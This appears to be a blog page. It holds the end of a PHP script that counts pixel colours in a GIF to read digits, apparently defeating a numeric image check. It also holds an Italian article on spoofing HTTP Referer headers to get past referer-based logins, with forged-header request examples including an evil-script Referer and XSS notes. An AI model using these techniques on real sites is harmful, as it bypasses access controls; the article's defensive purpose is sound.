   9: # Count color frequency
  10: for ($y = 0;$y <= 37;$y++) {
  11:     for ($x = 0;$x <= 99;$x++) {
  12:         $color = imagecolorat($gif,$x,$y);
  13:         switch ($color) {
  14:             case 58:
  15:                 $fiftyeightcount++;
  16:                 break;
  17:             case 59:
  18:                 $fiftyninecount++;
  19:                 break;
  20:             case 60:
  21:                 $sixtycount++;
  22:                 break;
  23:             case 61:
  24:                 $sixtyonecount++;
  25:                 break;
  26:             case 62:
  27:                 $sixtytwocount++;
  28:                 break;
  29:             case 63:
  30:                 $sixtythreecount++;
  31:                 break;
  32:         }
  33:     }
  34: }
  35:  
  36: $color = 0;
  37: $counts = array($fiftyeightcount,$fiftyninecount,$sixtycount,$sixtyonecount,$sixtytwocount,$sixtythreecount);
  38:  
  39: # Use most frequent color as font color
  40:  
  41: foreach ($counts as $n => $current) {
  42:     if ($current > $color) {
  43:         switch ($n) {
  44:             case 0:
  45:                 $color = 58;
  46:                 break;
  47:             case 1:
  48:                 $color = 59;
  49:                 break;
  50:             case 2:
  51:                 $color = 60;
  52:                 break;
  53:             case 3:
  54:                 $color = 61;
  55:                 break;
  56:             case 4:
  57:                 $color = 62;
  58:                 break;
  59:             case 5:
  60:                 $color = 63;
  61:                 break;
  62:         }
  63:     }
  64: }
  65:  
  66: $n = 0;
  67: $counts = array();
  68:  
  69: # Count occurency of font color in digit spaces
  70: for ($y = 0;$y <= 27;$y++) {
  71:     for ($x = 15;$x <= 31;$x++) { if (imagecolorat($gif,$x,$y) == $color) { $onecount++; } }
  72:     for ($x = 36;$x <= 50;$x++) { if (imagecolorat($gif,$x,$y) == $color) { $twocount++; } }
  73:     for ($x = 51;$x <= 67;$x++) { if (imagecolorat($gif,$x,$y) == $color) { $threecount++; } }
  74:     for ($x = 69;$x <= 86;$x++) { if (imagecolorat($gif,$x,$y) == $color) { $fourcount++; } }
  75: }
  76:  
  77: $counts = array($onecount,$twocount,$threecount,$fourcount);
  78:  
  79: # Font color frequency per digit:
  80: #
  81: # One:
  82: # 0: 
  83: # 1: 74
  84: # 2: 58
  85: # 3: 63
  86: # 4: 92
  87: # 5: 79
  88: # 6: 66
  89: # 7: 62
  90: # 8: 80
  91: # 9: 71
  92: # Two:
  93: # 0: 62,63
  94: # 1: 74,75
  95: # 2: 56,57
  96: # 3: 62
  97: # 4: 84
  98: # 5: 78,79
  99: # 6: 65,66
 100: # 7: 58
 101: # 8: 80,81
 102: # 9: 70,71,72
 103: # Three:
 104: # 0: 76,77
 105: # 1: 74,75
 106: # 2: 58,59
 107: # 3: 63
 108: # 4: 92
 109: # 5: 79
 110: # 6: 65,66,67,68
 111: # 7: 62
 112: # 8: 80,81,82
 113: # 9: 70,71,72,73
 114: # Four:
 115: # 0: 77,78
 116: # 1: 74
 117: # 2: 58,59
 118: # 3: 63
 119: # 4: 92
 120: # 5: 79
 121: # 6: 66,67,68
 122: # 7: 62
 123: # 8: 80,81
 124: # 9: 71,72,73
 125:  
 126: $n = 0;
 127: foreach ($counts as $c) {
 128:     $n++;
 129:     switch ($n) {
 130:         case 1:
 131:             switch($c) {
 132:                 case 74:
 133:                     echo 1;
 134:                     break;
 135:                 case 58:
 136:                     echo 2;
 137:                     break;
 138:                 case 63:
 139:                     echo 3;
 140:                     break;
 141:                 case 92:
 142:                     echo 4;
 143:                     break;
 144:                 case 79:
 145:                     echo 5;
 146:                     break;
 147:                 case 66:
 148:                     echo 6;
 149:                     break;
 150:                 case 62:
 151:                     echo 7;
 152:                     break;
 153:                 case 80:
 154:                     echo 8;
 155:                     break;
 156:                 case 71:
 157:                     echo 9;
 158:                     break;
 159:                 default:
 160:                     echo "<br />\nDEBUG:<br />\nColor: $color<br />\nCount: $c<br />\nNumber: $n<br />\n";
 161:                     break;
 162:             }
 163:             #if ($c == 62 || $c == 63) { echo "0" }
 164:             break;
 165:         case 2:
 166:             switch ($c) {
 167:                 case 63:
 168:                            echo 0;
 169:                     break;
 170:                 case 74:
 171:                 case 75:
 172:                     echo 1;
 173:                     break;
 174:                 case 56:
 175:                 case 57:
 176:                     echo 2;
 177:                     break;
 178:                 case 62:
 179:                     echo 3;
 180:                     break;
 181:                 case 84:
 182:                     echo 4;
 183:                     break;
 184:                 case 78:
 185:                 case 79:
 186:                     echo 5;
 187:                     break;
 188:                 case 65:
 189:                 case 66:
 190:                     echo 6;
 191:                     break;
 192:                 case 58:
 193:                     echo 7;
 194:                     break;
 195:                 case 80:
 196:                 case 81:
 197:                     echo 8;
 198:                     break;
 199:                 case 70:
 200:                 case 71:
 201:                 case 72:
 202:                     echo 9;
 203:                     break;
 204:                 default:
 205:                     echo "<br />\nDEBUG:<br />\nColor: $color<br />\nCount: $c<br />\nNumber: $n<br />\n";
 206:                     break;
 207:             }
 208:             break;
 209:         case 3:
 210:             switch ($c) {
 211:                 case 76:
 212:                 case 77:
 213:                     echo 0;
 214:                     break;
 215:                 case 74:
 216:                 case 75:
 217:                     echo 1;
 218:                     break;
 219:                 case 58:
 220:                 case 59:
 221:                     echo 2;
 222:                     break;
 223:                 case 63:
 224:                     echo 3;
 225:                     break;
 226:                 case 92:
 227:                     echo 4;
 228:                     break;
 229:                 case 79:
 230:                     echo 5;
 231:                     break;
 232:                 case 65:
 233:                 case 66:
 234:                 case 67:
 235:                 case 68:
 236:                     echo 6;
 237:                     break;
 238:                 case 62:
 239:                     echo 7;
 240:                     break;
 241:                 case 80:
 242:                 case 81:
 243:                 case 82:
 244:                     echo 8;
 245:                     break;
 246:                 case 70:
 247:                 case 71:
 248:                 case 72:
 249:                 case 73:
 250:                     echo 9;
 251:                     break;
 252:                 default:
 253:                     echo "<br />\nDEBUG:<br />\nColor: $color<br />\nCount: $c<br />\nNumber: $n<br />\n";
 254:                     break;
 255:             }
 256:             break;
 257:         case 4:
 258:             switch ($c) {
 259:                 case 75:
 260:                 case 76:
 261:                 case 77:
 262:                 case 78:
 263:                     echo 0;
 264:                     break;
 265:                 case 74:
 266:                     echo 1;
 267:                     break;
 268:                 case 58:
 269:                 case 59:
 270:                     echo 2;
 271:                     break;
 272:                 case 63:
 273:                     echo 3;
 274:                     break;
 275:                 case 92:
 276:                     echo 4;
 277:                     break;
 278:                 case 79:
 279:                     echo 5;
 280:                     break;
 281:                 case 65:
 282:                 case 66:
 283:                 case 67:
 284:                 case 68:
 285:                     echo 6;
 286:                     break;
 287:                 case 62:
 288:                     echo 7;
 289:                     break;
 290:                 case 80:
 291:                 case 81:
 292:                     echo 8;
 293:                     break;
 294:                 case 71:
 295:                 case 72:
 296:                 case 73:
 297:                     echo 9;
 298:                     break;
 299:                 default:
 300:                     echo "<br />\nDEBUG:<br />\nColor: $color<br />\nCount: $c<br />\nNumber: $n<br />\n";
 301:                     break;
 302:             }
 303:             break;
 304:         default:
 305:             echo "<br />\nDEBUG:<br />\nColor: $color<br />\nCount: $c<br />\nNumber: $n<br />\n";
 306:             break;
 307:     }
 308: }
 309: echo "\n";
 310: ?>
19Nov/070

Hacking Referring Urls

Wikipedia : The referer, or HTTP referer, identifies, from the point of view of an internet webpage or resource, the address of the webpage (commonly the URL, the more generic URI or the i18n updated IRI) of the resource which links to it. By checking the referer, the new page can see where the request came from. Referer logging is used to allow websites and web servers to identify where people are visiting them from, for promotional or security purposes. Since the referer can easily be spoofed (faked), however, it is of limited use in this regard except on a casual basis.

Gli HTTP Referer furono creati come strumento per aiutare il tracciamento e l'analisi delle fonti di traffico in ingresso nelle applicazioni Internet. Indifferentemente dal loro scopo, il loro utilizzo  è proporzionalmente mutato nel tempo. Da strumento per operazioni di marketing /partnership, fino a sistema di sicurezza.

Questo sistema è decisamente popolare su siti di qualità e contenuto discutibile, il ragionamento si riproduce in 3 step.

  1. Utente effettua il login
  2. Nel caso in cui la login e la password siano corretti viene eseguito il redirect ad una pagina temporanea (es loginOK.aspx)
  3. loginOK.aspx al suo caricamento reindirizza l'utente alla pagina members.aspx, la quale verifica HTTP referer. Se è uguale a loginOK.aspx l'accesso viene effettuato.

Ma oltre a strumento di sicurezza, HTTP Referer viene utilizzato come tool di debug. Può capitare spesso di dover rintracciare richieste errate che hanno portato ad errori 404 (not found). Grazie a HTTP Referer sarà possibile individuare tutte le richieste che hanno effettivamente scatenato l'errore.

Gli HTTP Referer vengono anche utilizzati da sistemi di tracciamento ed analisi. Google Analytics (vedi immagine), per esempio, fornisce i risultati contenuti nella pagina Refering Sites grazie all'analisi delle intestazioni HTTP ricevute.

Il problema di queste interessanti funzionalità è dovuto dal fatto che sono facilmente alterabili. Live HTTP Headers, per esempio, permette la modifica di tutti gli header precedentemente al loro invio. In questo modo sarà possibile avere delle intestazioni HTTP con valori alterati a dovere(notate la riga 11).

   1: GET /cyphersecurity HTTP/1.1
   2: Host: feeds.feedburner.com
   3: User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.9pre) Gecko/20071102 Firefox/2.0.0.9 Navigator/9.0.0.3
   4: Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
   5: Accept-Language: en-us,en;q=0.5
   6: Accept-Encoding: gzip,deflate
   7: Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
   8: Keep-Alive: 300
   9: Proxy-Connection: keep-alive
  10: X-Moz: livebookmarks
  11: Referer: hospoffatoquestarichiesta.it
  12: If-Modified-Since: Sun, 18 Nov 2007 22:57:45 GMT
  13: If-None-Match: gCsTB2NQlIQNEO+S4vAbCyjw97g
  14: Cache-Control: max-age=0, max-age=0, max-age=0

Spesso, nell'analisi dei log, i più esperti, presteranno attenzione a chiamate con Refer nulli o comunque non logicamente validi. Questo è dovuto al fatto che alcune forme di attacco alle web applications vengono portati a termine proprio grazie alla modifiche delle intestazioni HTTP. Naturalmente HTTP Referer non può solo essere nullo o non valido, ma può contenere codice xss.

Esempio (notate riga #11)

   1: GET /cyphersecurity HTTP/1.1
   2: Host: feeds.feedburner.com
   3: User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.9pre) Gecko/20071102 Firefox/2.0.0.9 Navigator/9.0.0.3
   4: Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
   5: Accept-Language: en-us,en;q=0.5
   6: Accept-Encoding: gzip,deflate
   7: Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
   8: Keep-Alive: 300
   9: Proxy-Connection: keep-alive
  10: X-Moz: livebookmarks
  11: Referer : http://www.mylamesite.com/myEvilJavaScriptThatPownzTheWorld.js
  12: If-Modified-Since: Sun, 18 Nov 2007 22:57:45 GMT
  13: If-None-Match: gCsTB2NQlIQNEO+S4vAbCyjw97g
  14: Cache-Control: max-age=0, max-age=0, max-age=0

Decisamente interessante; Da ricordare che HTTP Referer non è l'unica intestazione HTTP che può creare dei problemi alle applicazioni web. In molti casi, User Agent (ovvero la voce che indica il browser in utilizzo) può contenere valori XSS i quali possono portare (in alcuni casi) al crash del server web stesso.

Nel caso di un controllo applicativo, è importante andare a verificare tutte le possibili varianti di attacchi XSS attraverso intenstazione HTTP. Tenendo a mente quanto spiegato nell'articolo Come Violare Filtri XSS e solo dopo aver effettuato tutti i test necessari, sarà possibile certificare lo stato di sicurezza dell'applicazione in esame.

Per evitare questo ed altri attacchi XSS il consiglio è sempre lo stesso. Verificare e validare TUTTO (read: files,intestazione http,cookies,etc) quello che viene letto/visualizzato dall'applicativo.

Filed under: Articoli, XSS No Comments